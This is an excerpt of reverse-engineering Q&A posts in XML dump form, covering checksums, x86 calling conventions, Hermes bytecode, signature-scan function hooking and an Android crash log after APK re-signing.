  <row Id="26459" PostTypeId="2" ParentId="26453" CreationDate="2020-12-06T17:37:05.347" Score="3" Body="&lt;p&gt;Looks like it's just addition for the checksum, so nice job on that.&lt;/p&gt;&#xA;&lt;p&gt;The mystery byte is part of the checksum.&lt;/p&gt;&#xA;&lt;p&gt;The accumulator is 2 bytes.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;data = &amp;quot;&amp;quot;&amp;quot;0000AAAAAA7E00201075000000075FC76F4F0105C8&#xA;0000AAAAAA7E00201075000000875FC77BED210712&#xA;0000AAAAAA7E00201075000000885FC77BFF010705&amp;quot;&amp;quot;&amp;quot;.strip().split(&amp;quot;\n&amp;quot;)&#xA;&#xA;import struct&#xA;&#xA;for i,l in enumerate(data):&#xA;    xs = bytes.fromhex(l)&#xA;    body = xs[:-2]&#xA;    xsum = xs[-2:]&#xA;&#xA;    v = 187&#xA;    for b in body:&#xA;        v+=b&#xA;&#xA;    &#xA;    print(&amp;quot;msg&amp;quot;,i,&amp;quot;body&amp;quot;,body.hex(),&amp;quot;checksum&amp;quot;,xsum.hex(),&amp;quot;calcxsum&amp;quot;,struct.pack(&amp;quot;&amp;gt;H&amp;quot;,v).hex())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ python3 xsumtest.py &#xA;msg 0 body 0000aaaaaa7e00201075000000075fc76f4f01 checksum 05c8 calcxsum 05c8&#xA;msg 1 body 0000aaaaaa7e00201075000000875fc77bed21 checksum 0712 calcxsum 0712&#xA;msg 2 body 0000aaaaaa7e00201075000000885fc77bff01 checksum 0705 calcxsum 0705&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-06T20:27:29.340" LastActivityDate="2020-12-06T20:27:29.340" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26461" PostTypeId="1" CreationDate="2020-12-06T20:15:57.503" Score="1" ViewCount="67" Body="&lt;p&gt;I'd like to use C/C++/CS API to get the command line that invoked another process according to PID.&lt;/p&gt;&#xA;&lt;p&gt;I've seen that this is done in processHacker that is an openSource project, but I couldn't find the exact way for how it's done. Perhaps anyone can share the undocumented method with me ? thanks !&lt;/p&gt;&#xA;" OwnerUserId="19879" LastEditorUserId="19879" LastEditDate="2020-12-09T08:28:48.677" LastActivityDate="2020-12-09T08:28:48.677" Title="Acquire command line of remote process in Windows OS" Tags="|windows|process|processhacker|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26463" PostTypeId="1" AcceptedAnswerId="26804" CreationDate="2020-12-06T23:31:42.357" Score="3" ViewCount="7847" Body="&lt;p&gt;Since React Native 0.60.4 developers can opt-in to use the &lt;a href=&quot;https://reactnative.dev/docs/hermes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hermes JS Engine&lt;/a&gt;. This generates an &lt;code&gt;index.android.bundle&lt;/code&gt; binary that contains Hermes JS bytecode.&lt;/p&gt;&#xA;&lt;p&gt;The Hermes &lt;a href=&quot;https://github.com/facebook/hermes/blob/master/doc/BuildingAndRunning.md#other-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; mentions &lt;code&gt;hbcdump&lt;/code&gt; which is described as a &amp;quot;Hermes bytecode disassembler&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;By using &lt;code&gt;hbcdump -pretty-disassemble -c disassemble -out out.txt index.android.bundle&lt;/code&gt; I do get something that is at least a little more human readable but it does not look like it can be compiled back again and is not easy to work with.&lt;/p&gt;&#xA;&lt;p&gt;How can I decompile Hermes JS bytecode into JavaScript?&lt;br/&gt;&#xA;Alternatively: How can I modify the bytecode? Is there a tool that understands this bytecode?&lt;/p&gt;&#xA;" OwnerUserId="35159" LastActivityDate="2022-06-06T07:12:00.790" Title="How can I modify or decompile Hermes JS bytecode?" Tags="|decompilation|javascript|decompile|byte-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26464" PostTypeId="1" CreationDate="2020-12-07T10:19:56.080" Score="1" ViewCount="46" Body="&lt;p&gt;I have come across some weird function. It's in an x86 LE Windows executable compiled with Visual Studio and linking to v100 runtime.&lt;br /&gt;&#xA;The function seems to be an &lt;code&gt;__stdcall&lt;/code&gt; as it ends with a move into &lt;code&gt;eax&lt;/code&gt; and &lt;code&gt;ret 0x4&lt;/code&gt;. The first weird thing is it takes one parameter on the stack (the result of &lt;code&gt;GetCommandLineA&lt;/code&gt;) but right at the start it does &lt;code&gt;lea eax, [edi+0x8]&lt;/code&gt; without ever writing to &lt;code&gt;edi&lt;/code&gt;. I figured out it's a custom calling convention and the second parameter is passed in &lt;code&gt;edi&lt;/code&gt;. It's called from a very big (400 lines when decompiled) &lt;code&gt;main&lt;/code&gt; function, so I didn't know what exactly is being passed but it seemed like an address on callers stack. I thought it's some array of pointers until I realized it's actually 3 parameters passed as one. The callers stack looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;|----------|&#xA;|  char *  |   &amp;gt;   command line on heap&#xA;|          |   &amp;lt;   edi&#xA;|----------|&#xA;|   int    |   &amp;gt;   argument counter&#xA;|----------|&#xA;|  char *  |   &amp;gt;   char*[256] pointers to arguments&#xA;|----------|&#xA;|  char *  |&#xA;|----------|&#xA;|  char *  |&#xA;|----------|&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The function copies the command line to heap, assigns the address to &lt;code&gt;[edi]&lt;/code&gt;, sets &lt;code&gt;[edi+0x4]&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt; and calls &lt;code&gt;memset([edi+0x8],0,1024)&lt;/code&gt;. Then it goes through the command line and does this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        00401185 8b 4f 04        MOV        ECX,dword ptr [Addr + 0x4]&#xA;        00401188 89 74 8f 08     MOV        dword ptr [Addr + ECX*0x4 + 0x8],Heap&#xA;        0040118c 01 5f 04        ADD        dword ptr [Addr + 0x4],EBX                   # EBX=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;if it finds a new argument.&lt;/p&gt;&#xA;&lt;p&gt;How can a function operate on it's caller's stack?&lt;/p&gt;&#xA;" OwnerUserId="35153" LastActivityDate="2020-12-07T10:19:56.080" Title="Weird x86 function calling convention" Tags="|disassembly|x86|calling-conventions|msvc|" AnswerCount="0" CommentCount="1" ClosedDate="2020-12-09T20:12:20.473" ContentLicense="CC BY-SA 4.0" />
  <row Id="26465" PostTypeId="1" CreationDate="2020-12-07T10:51:56.410" Score="2" ViewCount="466" Body="&lt;p&gt;I like to replace the static function address:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; AddressOfHookSoundFunction = (DWORD)GetModuleHandleA(&amp;quot;myfile.exe&amp;quot;) + 0x0F3B65; // good: 4406117 (integer)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;using signature pattern:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; SigScan Scanner;&#xA;&#xA; AddressOfHookSoundFunction = Scanner.FindPattern(&amp;quot;myfile.exe&amp;quot;, &amp;quot;\x55\x8B\xEC\x83\xEC\x14\x53\x56\x8B&amp;quot;, &amp;quot;xxxxxxxxx&amp;quot;); // bad: 3685831 (integer)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but the value is different and work only the static address: 0x0F3B65&lt;/p&gt;&#xA;&lt;p&gt;here the IDA screenshot:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TgCoA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TgCoA.png&quot; alt=&quot;Function&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xpxFX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xpxFX.png&quot; alt=&quot;Exe binary&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Probably I have insert a wrong dump information.&lt;/p&gt;&#xA;&lt;p&gt;here the code of signature scanning:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class SigScan&#xA;{&#xA;public:&#xA;    // For getting information about the executing module&#xA;    MODULEINFO GetModuleInfo(char *szModule)&#xA;    {&#xA;        MODULEINFO modinfo = { 0 };&#xA;        HMODULE hModule = GetModuleHandleA(szModule);&#xA;        if (hModule == 0)&#xA;            return modinfo;&#xA;        GetModuleInformation(GetCurrentProcess(), hModule, &amp;amp;modinfo, sizeof(MODULEINFO));&#xA;        return modinfo;&#xA;    }&#xA;&#xA;    // for finding a signature/pattern in memory of another process&#xA;    DWORD FindPattern(char *module, char *pattern, char *mask)&#xA;    {&#xA;        MODULEINFO mInfo = GetModuleInfo(module);&#xA;        DWORD base = (DWORD)mInfo.lpBaseOfDll;&#xA;        DWORD size = (DWORD)mInfo.SizeOfImage;&#xA;        DWORD patternLength = (DWORD)strlen(mask);&#xA;&#xA;        for (DWORD i = 0; i &amp;lt; size - patternLength; i++)&#xA;        {&#xA;            bool found = true;&#xA;            for (DWORD j = 0; j &amp;lt; patternLength; j++)&#xA;            {&#xA;                found &amp;amp;= mask[j] == '?' || pattern[j] == *(char*)(base + i + j);&#xA;            }&#xA;            if (found)&#xA;            {&#xA;                return base + i;&#xA;            }&#xA;        }&#xA;&#xA;        return NULL;&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can you help me please ?&lt;/p&gt;&#xA;" OwnerUserId="33776" LastEditorUserId="33776" LastEditDate="2020-12-07T16:05:47.120" LastActivityDate="2022-01-01T22:05:45.433" Title="How use signature pattern for hooking" Tags="|ida|disassembly|c++|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26467" PostTypeId="1" CreationDate="2020-12-07T12:27:47.617" Score="0" ViewCount="635" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c8gG2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c8gG2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hello best people, my question is this example is telling me about cdecl calling convention. I have confusion that when analyzing the code in disassembly how would I recognize that this is the cdecl call plus&lt;/p&gt;&#xA;&lt;p&gt;they are saying that the highlighted line in the picture showing that the stack is cleaned by the caller as the function is complete, my question is how it is cleaning the stack, I'm according to my knowledge seeing that the value 12 is added in esp, HOW IT IS CLEANING? please explain.&lt;/p&gt;&#xA;" OwnerUserId="34958" LastActivityDate="2020-12-09T16:17:16.440" Title="cdecl calling convention" Tags="|ida|malware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26468" PostTypeId="2" ParentId="26467" CreationDate="2020-12-07T13:09:24.873" Score="5" Body="&lt;p&gt;&lt;code&gt;esp&lt;/code&gt; register is the stack pointer and it points to the head of the stack, which is the lowest address in the binary.&lt;/p&gt;&#xA;&lt;p&gt;#1 Initial stack frame:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;|local var 1| &amp;lt;- esp (lowest address)&#xA;|local var 2|&#xA;|-----------|&#xA;|-----------| &#xA;|-----------|&#xA;|local var n| &amp;lt;- ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After the &lt;code&gt;push&lt;/code&gt; instructions the stack will look at:&lt;/p&gt;&#xA;&lt;p&gt;#2 Stack frame just before the call:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;|a| &amp;lt;- esp&#xA;|b| &#xA;|c| &#xA;|local var 1| &#xA;|local var 2|&#xA;|-----------|&#xA;|-----------| &#xA;|-----------|&#xA;|local var n| &amp;lt;- ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So now 3 extra values were added to the stack frame of the current function, in order to pass arguments to the &lt;code&gt;test&lt;/code&gt; function. 3 arguments * 4 bytes size of an argument = 12 bytes.&lt;/p&gt;&#xA;&lt;p&gt;After &lt;code&gt;test&lt;/code&gt; returns we need to get back to our #1 stack frame from #2 - we want &lt;code&gt;esp&lt;/code&gt; to point back to the &lt;code&gt;local var 1&lt;/code&gt;. in order to do that, we need to add 12 to the esp - remember that the stack grows from highest address to lowest and that the size of our 3 arguments is 12 bytes. This is the &lt;code&gt;add esp, 12&lt;/code&gt; instruction, and it's called cleanup the stack.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;code&gt;cdecl&lt;/code&gt; call, the caller, which is the current function, is the one that responsible for cleanup the stack. In other calling conventions, like &lt;code&gt;stdcall&lt;/code&gt; the callee is responsible for cleaning the stack - restore the state of the stack pointers to prior the call.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="31278" LastEditDate="2020-12-07T14:26:06.203" LastActivityDate="2020-12-07T14:26:06.203" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26469" PostTypeId="1" CreationDate="2020-12-07T15:33:12.010" Score="1" ViewCount="585" Body="&lt;p&gt;Hello and thank you for reading my question,&lt;/p&gt;&#xA;&lt;p&gt;I was wondering, which is the right tool for me to choose according to the following:&lt;/p&gt;&#xA;&lt;p&gt;I will be using it mainly for Malware analysis and for exploit development, fuzzing and research. It should have as low overhead as possible when instrumenting, can be integrated with angr/qiling or provide similar capabilities at low/lower overhead, hopefully easy to use and understand and has decent documentation and examples, and hopefully can be extended for custom needs if functionality is not available.&lt;/p&gt;&#xA;&lt;p&gt;When I researched about them, even though their github seems quite recent, both frameworks(triton and miasm) seem to be quite old, while triton is a bit newer. I came across miasm in regards to deobfuscation and it seemed great, but I am looking for something more extensive and faster(lower overhead if such thing exists). If you know of a newer tool/framework that can aid me, please post its name as it can help me a lot instead of reviewing papers for different conventions and betting on projects &amp;quot;randomly&amp;quot;(without any disrespect, just hoping for practicality).&lt;/p&gt;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;&lt;p&gt;If you can write the advantages or disadvantages for each tool, it will be help me to make a wise decision. I am sure others will fun your answers lucrative and learn a lot from them as well.&lt;/p&gt;&#xA;" OwnerUserId="35167" LastActivityDate="2020-12-07T20:28:24.180" Title="Miasm VS Triton - which to choose?" Tags="|tools|function-hooking|instrumentation|" AnswerCount="0" CommentCount="0" ClosedDate="2020-12-14T15:41:02.160" ContentLicense="CC BY-SA 4.0" />
  <row Id="26470" PostTypeId="1" CreationDate="2020-12-07T18:48:34.740" Score="2" ViewCount="154" Body="&lt;p&gt;Direct quote from &lt;a href=&quot;https://golang.org/doc/gdb&quot; rel=&quot;nofollow noreferrer&quot;&gt;Golang's website&lt;/a&gt;: &amp;quot;&lt;em&gt;GDB does not understand Go programs well. The stack management, threading, and runtime contain aspects that differ enough from the execution model GDB expects that they can confuse the debugger and cause incorrect results even when the program is compiled with gccgo. As a consequence, although GDB can be useful in some situations (e.g., debugging Cgo code, or debugging the runtime itself), it is not a reliable debugger for Go programs, particularly heavily concurrent ones. Moreover, it is not a priority for the Go project to address these issues, which are difficult.&lt;/em&gt;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I'm also aware of projects such as &lt;a href=&quot;https://github.com/sibears/IDAGolangHelper&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDAGolangHelper&lt;/a&gt; or other scripts to aid already established reverse engineering tools such as &lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt; in interpreting Golang binaries. Nevertheless, I would like to know assuming one prefers a self-containing debugging tool that is already successful in understanding the eccentric Go runtime, what will your choice(s) be? Also, I would appreciate any comments on &lt;a href=&quot;https://rada.re/n/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare2&lt;/a&gt;'s ability in handling Go binaries.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1 (Clarification of Question):&lt;/strong&gt; Assuming working on a x86_64 host it seems to me that &lt;code&gt;QEMU&lt;/code&gt;'s system mode is an essential part of the environment considering the fact that &lt;code&gt;ptrace&lt;/code&gt; is not implemented in the &lt;code&gt;QEMU&lt;/code&gt;'s user mode. The other factor is obviously the &lt;code&gt;libc&lt;/code&gt; implementation. For a dynamically-linked binary with the &lt;code&gt;ld-musl-aarch64.so.1&lt;/code&gt; interpreter this adds a Linux distribution with &lt;code&gt;musl&lt;/code&gt; as the native &lt;code&gt;libc&lt;/code&gt; implementation unless one wishes to build &lt;code&gt;musl&lt;/code&gt; on a distribution already having &lt;code&gt;glibc&lt;/code&gt; installed. So I guess my question would be what other functionalities (or tools) will you add to &lt;code&gt;QEMU&lt;/code&gt; and Alpine?&lt;/p&gt;&#xA;" OwnerUserId="17667" LastEditorUserId="17667" LastEditDate="2020-12-07T19:16:22.470" LastActivityDate="2020-12-07T19:16:22.470" Title="What do you think is the optimum environment for reverse engineering dynamically-linked aarch64 Golang binaries developed in Alpine Linux?" Tags="|ida|radare2|gdb|ghidra|aarch64|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26471" PostTypeId="2" ParentId="26465" CreationDate="2020-12-07T19:16:11.670" Score="1" Body="&lt;p&gt;I have understand what happen just add only 2 digits:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;AddressOfHookSoundFunction = Scanner.FindPattern(&amp;quot;myfile.exe&amp;quot;, &amp;quot;\x55\x8B\xEC\x83\xEC\x14\x53\x56\x8B\x75\x0C&amp;quot;, &amp;quot;xxxxxxxxxxx&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and now work.&lt;/p&gt;&#xA;" OwnerUserId="33776" LastActivityDate="2020-12-07T19:16:11.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26473" PostTypeId="1" AcceptedAnswerId="26475" CreationDate="2020-12-07T20:41:12.620" Score="0" ViewCount="237" Body="&lt;p&gt;I am reversing a binary using Ghidra. In the disassembled output, I have the following lines in the main function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(code *)mmap((void *)0x0,0x55,7,0x22,-1,0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am quite confused here since the file descriptor appears to be -1 and I remember reading that file descriptors should be non-negative.&lt;/p&gt;&#xA;&lt;p&gt;Can someone please tell me what I am missing here?&lt;/p&gt;&#xA;" OwnerUserId="35176" LastEditorUserId="4658" LastEditDate="2020-12-08T09:27:22.303" LastActivityDate="2020-12-08T09:27:22.303" Title="mmap with file descriptor -1 in disassembled output" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26474" PostTypeId="1" CreationDate="2020-12-07T21:40:10.983" Score="2" ViewCount="701" Body="&lt;p&gt;I sometimes decompile and recompile apks and make changes (like changing graphics, text etc...) normally I use apktool to decompile and recompile and then use testsign.jar to resign the apk with the debug keys or &lt;a href=&quot;https://github.com/patrickfav/uber-apk-signer&quot; rel=&quot;nofollow noreferrer&quot;&gt;uber apk signer&lt;/a&gt; since it supports v2/v3 signatures.&lt;/p&gt;&#xA;&lt;p&gt;This usually works fine, however I found that if I resign a particular apk with debug keys then it will install fine but it will always crash when launched.&#xA;To be clear, for testing purposes what I am doing is: I am not even decompiling or recompiling it at all, just taking the original apk (which installs and runs OK) and then resigning it.&lt;/p&gt;&#xA;&lt;p&gt;Here is the logcat from the crash:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;12-04 15:44:57.364 11969 12006 W org.skvalex.cr: 0xebadde09 skipped times: 0&#xA;12-04 15:44:57.364 11969 12006 F libc    : Fatal signal 11 (SIGSEGV), code -6 (SI_TKILL) in tid 12006 (ComThread), pid 11969 (org.skvalex.cr)&#xA;12-04 15:44:57.378  1358  6828 D WifiPermissionsUtil: canAccessScanResults: pkgName = com.sec.android.sdhms, uid = 1000&#xA;12-04 15:44:57.386  1358  2047 D MdnieScenarioControlService:  packageName : org.skvalex.cr    className : org.skvalex.cr.LauncherActivity&#xA;12-04 15:44:57.386  1358  2047 V MdnieScenarioControlService: setUIMode from UI function(3)&#xA;12-04 15:44:57.412 12009 12009 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone&#xA;12-04 15:44:57.412  1044  1044 I /system/bin/tombstoned: received crash request for pid 12006&#xA;12-04 15:44:57.413 12009 12009 I crash_dump64: performing dump of process 11969 (target tid = 12006)&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   : Build fingerprint: 'samsung/starqltesq/starqltesq:9/PPR1.180610.011/G960USQS7CSK4:user/release-keys'&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   : Revision: '14'&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   : ABI: 'arm64'&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   : pid: 11969, tid: 12006, name: ComThread  &amp;gt;&amp;gt;&amp;gt; org.skvalex.cr &amp;lt;&amp;lt;&amp;lt;&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   : signal 11 (SIGSEGV), code -6 (SI_TKILL), fault addr --------&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   :     x0  0000000000000000  x1  0000000000002ee6  x2  000000000000000b  x3  0000000072164fde&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   :     x4  6361500000000000  x5  6361500000000000  x6  6361500000000000  x7  00000000ffffffff&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   :     x8  0000000000000083  x9  6aab5bd0db3a37ff  x10 0000000000430000  x11 000000765cc9a6dc&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   :     x12 000000765cc9a730  x13 000000765cc9a784  x14 000000765cc9a7e4  x15 0000000000000000&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   :     x16 00000076df9706f0  x17 00000076df8f1f7c  x18 0000000070b57a48  x19 00000076566c2008&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   :     x20 00000076566377d0  x21 000000765667fa50  x22 0000000000000000  x23 0000007646236128&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   :     x24 0000007656631f00  x25 0000007656616d70  x26 000000765667fa50  x27 0000000000000003&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   :     x28 0000000000000030  x29 0000007645cee330&#xA;12-04 15:44:57.419 12009 12009 F DEBUG   :     sp  0000007645cee330  lr  000000764623613c  pc  00000076df8f1f84&#xA;12-04 15:44:57.419 12009 12009 I unwind  : Malformed section header found, ignoring...&#xA;12-04 15:44:57.448   754   754 I SurfaceFlinger: Display 0 HWC layers:&#xA;12-04 15:44:57.448   754   754 I SurfaceFlinger:     type    |    handle    | flag |  format   |   source crop (l,t,r,b)    |         frame       | name &#xA;12-04 15:44:57.448   754   754 I SurfaceFlinger: ------------+--------------+------+-----------+----------------------------+---------------------+------&#xA;12-04 15:44:57.448   754   754 I SurfaceFlinger:      Client | 0x7884e3ae80 | 0002 | RGBA_8888 |   0.0    0.0 1440.0 2960.0 |    0    0 1440 2960 | com.android.systemui.ImageWallpaper[1874]#0&#xA;12-04 15:44:57.448   754   754 I SurfaceFlinger:      Client | 0x788462fe00 | 0000 | RGBA_8888 |   0.0    0.0 1440.0 2960.0 |    0    0 1440 2960 | com.sec.android.app.launcher/com.sec[...].activities.LauncherActivity[2975]#0&#xA;12-04 15:44:57.448   754   754 I SurfaceFlinger:      Device | 0x7884e3a1d0 | 0000 | RGBA_8888 |   0.0    0.0 1440.0   96.0 |    0    0 1440   96 | StatusBar[1874]#0&#xA;12-04 15:44:57.448   754   754 I SurfaceFlinger:      Device | 0x788462f070 | 0000 | RGBA_8888 |   0.0    0.0 1440.0  192.0 |    0 2768 1440 2960 | NavigationBar[1874]#0&#xA;12-04 15:44:57.448   754   754 I SurfaceFlinger: &#xA;12-04 15:44:57.479 12009 12009 F DEBUG   : &#xA;12-04 15:44:57.479 12009 12009 F DEBUG   : backtrace:&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #00 pc 0000000000070f84  /system/lib64/libc.so (tgkill+8)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #01 pc 0000000000027138  /data/data/org.skvalex.cr/files/callrecorder (deleted)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #02 pc 00000000000342e8  /data/data/org.skvalex.cr/files/callrecorder (deleted)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #03 pc 000000000004e0c0  /data/data/org.skvalex.cr/files/callrecorder (deleted)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #04 pc 000000000003483c  /data/data/org.skvalex.cr/files/callrecorder (deleted)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #05 pc 0000000000033590  /data/data/org.skvalex.cr/files/callrecorder (deleted)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #06 pc 0000000000034cec  /data/data/org.skvalex.cr/files/callrecorder (deleted)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #07 pc 000000000002df94  /data/data/org.skvalex.cr/files/callrecorder (deleted)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #08 pc 00000000000298e4  /data/data/org.skvalex.cr/files/callrecorder (deleted)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #09 pc 0000000000035090  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.odex (offset 0x33000) (org.skvalex.cr.Native.a+208)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #10 pc 000000000055784c  /system/lib64/libart.so (art_quick_invoke_static_stub+604)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #11 pc 00000000000cfce8  /system/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+232)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #12 pc 0000000000280438  /system/lib64/libart.so (art::interpreter::ArtInterpreterToCompiledCodeBridge(art::Thread*, art::ArtMethod*, art::ShadowFrame*, unsigned short, art::JValue*)+344)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #13 pc 000000000027a440  /system/lib64/libart.so (bool art::interpreter::DoCall&amp;lt;false, false&amp;gt;(art::ArtMethod*, art::Thread*, art::ShadowFrame&amp;amp;, art::Instruction const*, unsigned short, art::JValue*)+968)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #14 pc 00000000005281b0  /system/lib64/libart.so (MterpInvokeStatic+204)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #15 pc 0000000000549d94  /system/lib64/libart.so (ExecuteMterpImpl+14612)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #16 pc 00000000004e0fc4  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.vdex (org.skvalex.cr.Native.oooooooo+12)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #17 pc 0000000000254144  /system/lib64/libart.so (_ZN3art11interpreterL7ExecuteEPNS_6ThreadERKNS_20CodeItemDataAccessorERNS_11ShadowFrameENS_6JValueEb.llvm.1714131630+488)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #18 pc 0000000000259c38  /system/lib64/libart.so (art::interpreter::ArtInterpreterToInterpreterBridge(art::Thread*, art::CodeItemDataAccessor const&amp;amp;, art::ShadowFrame*, art::JValue*)+216)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #19 pc 000000000027a424  /system/lib64/libart.so (bool art::interpreter::DoCall&amp;lt;false, false&amp;gt;(art::ArtMethod*, art::Thread*, art::ShadowFrame&amp;amp;, art::Instruction const*, unsigned short, art::JValue*)+940)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #20 pc 00000000005281b0  /system/lib64/libart.so (MterpInvokeStatic+204)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #21 pc 0000000000549d94  /system/lib64/libart.so (ExecuteMterpImpl+14612)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #22 pc 000000000022d2c0  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.vdex (o.IIIIooIl$1.oooooooI+16)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #23 pc 0000000000254144  /system/lib64/libart.so (_ZN3art11interpreterL7ExecuteEPNS_6ThreadERKNS_20CodeItemDataAccessorERNS_11ShadowFrameENS_6JValueEb.llvm.1714131630+488)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #24 pc 0000000000259c38  /system/lib64/libart.so (art::interpreter::ArtInterpreterToInterpreterBridge(art::Thread*, art::CodeItemDataAccessor const&amp;amp;, art::ShadowFrame*, art::JValue*)+216)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #25 pc 000000000027a424  /system/lib64/libart.so (bool art::interpreter::DoCall&amp;lt;false, false&amp;gt;(art::ArtMethod*, art::Thread*, art::ShadowFrame&amp;amp;, art::Instruction const*, unsigned short, art::JValue*)+940)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #26 pc 0000000000527fec  /system/lib64/libart.so (MterpInvokeDirect+296)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #27 pc 0000000000549d14  /system/lib64/libart.so 